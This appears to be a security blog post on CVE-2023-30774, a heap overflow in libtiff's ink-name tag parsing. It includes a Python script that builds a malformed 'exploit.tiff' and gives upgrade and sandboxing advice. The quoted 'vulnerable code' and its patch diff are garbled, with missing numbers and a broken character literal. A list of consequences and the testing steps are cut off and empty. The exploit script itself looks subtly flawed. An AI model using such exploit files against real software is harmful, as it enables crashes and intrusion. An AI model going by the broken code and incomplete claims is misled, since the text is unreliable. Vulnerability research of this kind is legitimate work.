CVE-2023-30774 - Exploiting a Heap Buffer Overflow in libtiff via TIFFTAG_INKNAMES and TIFFTAG_NUMBEROFINKS

Published: June 2024  
Author: AI Security Insights

Introduction

A critical heap buffer overflow vulnerability, identified as CVE-2023-30774, was found in the popular libtiff image processing library. This vulnerability allows an attacker to exploit certain TIFF tags, mainly TIFFTAG_INKNAMES and TIFFTAG_NUMBEROFINKS, causing the program to write memory beyond allocated buffers. In this post, we dive into the technical causes, demonstrate a proof-of-concept exploit, and provide actionable mitigation advice.

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1. What is libtiff?

libtiff is a widely used open-source library for reading and writing TIFF (Tagged Image File Format) files. Many image viewers, game engines, printers, and even medical devices rely on libtiff for image handling.

This popularity makes vulnerabilities in libtiff especially dangerous: a malformed image can be embedded in websites, email attachments, or crafted documents and potentially trigger heap overflows.

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2. Technical Details of CVE-2023-30774

The vulnerability lies in how libtiff handles the TIFFTAG_INKNAMES and TIFFTAG_NUMBEROFINKS directory tags during image parsing.

- TIFFTAG_NUMBEROFINKS: This tag tells how many inks are used (up to 255 for CMYK and similar multi-ink images).

What Went Wrong?

When parsing, libtiff fails to check whether the sum of the length of the ink names fits into the destination buffer, which is allocated based on the number of inks. By manipulating these values in a TIFF file, a remote attacker can write more data than allocated, leading to a heap buffer overflow.

Vulnerable Code Reference

See the actual libtiff source code:

if (inknames && tif->tif_dir.td_ninknames > ) {
    sp = inknames;
    for (i = ; i < tif->tif_dir.td_ninknames; i++) {
        ep = strchr(sp, '\');
        if (!ep)
            break;
        strncpy(tif->tif_dir.td_inknames[i], sp, ep - sp);
        sp = ep + 1;
    }
}

The code assumes that tif->tif_dir.td_ninknames is correct and does not properly check that the combined length of the ink names doesn't overflow the destination buffer.

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3. Exploit – How an Attacker Could Abuse CVE-2023-30774

An attacker can craft a malformed TIFF file with a high TIFFTAG_NUMBEROFINKS and a long TIFFTAG_INKNAMES string, so that when libtiff parses the file, it overflows the buffer, corrupting heap memory. This could lead to various consequences, including:

Proof-of-Concept (PoC) TIFF Snippet

Here’s a Python script that crafts a malicious TIFF structure. This is a minimal demonstration; use responsibly and only in safe, controlled environments!

import struct

def create_malicious_tiff():
    header = b"II*\x00"                    # TIFF Magic
    ifd_offset = struct.pack("<I", 8)      # Offset to IFD

    # Construct two tags in the IFD:
    num_entries = 2

    # Tag 334 (TIFFTAG_NUMBEROFINKS)
    tag_numberofinks = 334
    type_short = 3
    n_inks = 20

    # Tag 333 (TIFFTAG_INKNAMES)
    tag_inknames = 333
    type_ascii = 2
    inknames = b"A\x00" * (n_inks * 20)   # Oversized ink names

    # Offsets
    inknames_offset = 8 + 2 + (2 * 12) + 4  # After IFD

    # Build directory entries
    dir_entries = (
        struct.pack("<HHII", tag_numberofinks, type_short, 1, n_inks) +
        struct.pack("<HHII", tag_inknames, type_ascii, len(inknames), inknames_offset)
    )

    # IFD: number of entries + entries + end
    ifd = struct.pack("<H", num_entries) + dir_entries + b"\x00\x00\x00\x00"

    tiff_file = header + ifd_offset + ifd + inknames
    with open("exploit.tiff", "wb") as f:
        f.write(tiff_file)

create_malicious_tiff()
print("Malicious TIFF created as exploit.tiff")

How to test:

If vulnerable, you'll likely see a crash or memory corruption errors.

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4. Original References

- CVE-2023-30774 on NVD
- libtiff upstream bug report
- oss-security mailing list announcement

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5. Mitigation and Patch

- Upgrade to libtiff >= 4.5.1. The maintainers have released a patch fixing this issue. Download the latest source and rebuild.

Disallow untrusted TIFF files on your servers and workstations.

- Isolate applications using libtiff in sandboxes or containers to limit the blast radius of an exploit.

Example patch (simplified)

- if (inknames && tif->tif_dir.td_ninknames > ) {
-    sp = inknames;
-    for (i = ; i < tif->tif_dir.td_ninknames; i++) {
-        ep = strchr(sp, '\');
-        if (!ep)
-            break;
-        strncpy(tif->tif_dir.td_inknames[i], sp, ep - sp);
-        sp = ep + 1;
-    }
- }
+ // Properly validate lengths and count before copying
+ // Limit inknames length and ninknames number

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6. Conclusion

CVE-2023-30774 in libtiff is a clear example of how unchecked sizes and memory allocation can lead to critical vulnerabilities. Always keep libraries like libtiff up-to-date, and never trust input image files from untrusted sources.

Keep your software safe and report any suspected vulnerabilities to the maintainers and security community!


Stay sharp, stay updated, and code safely!  
*— AI Security Insights*

Timeline

Published on: 05/19/2023 15:15:00 UTC
Last modified on: 05/26/2023 15:24:00 UTC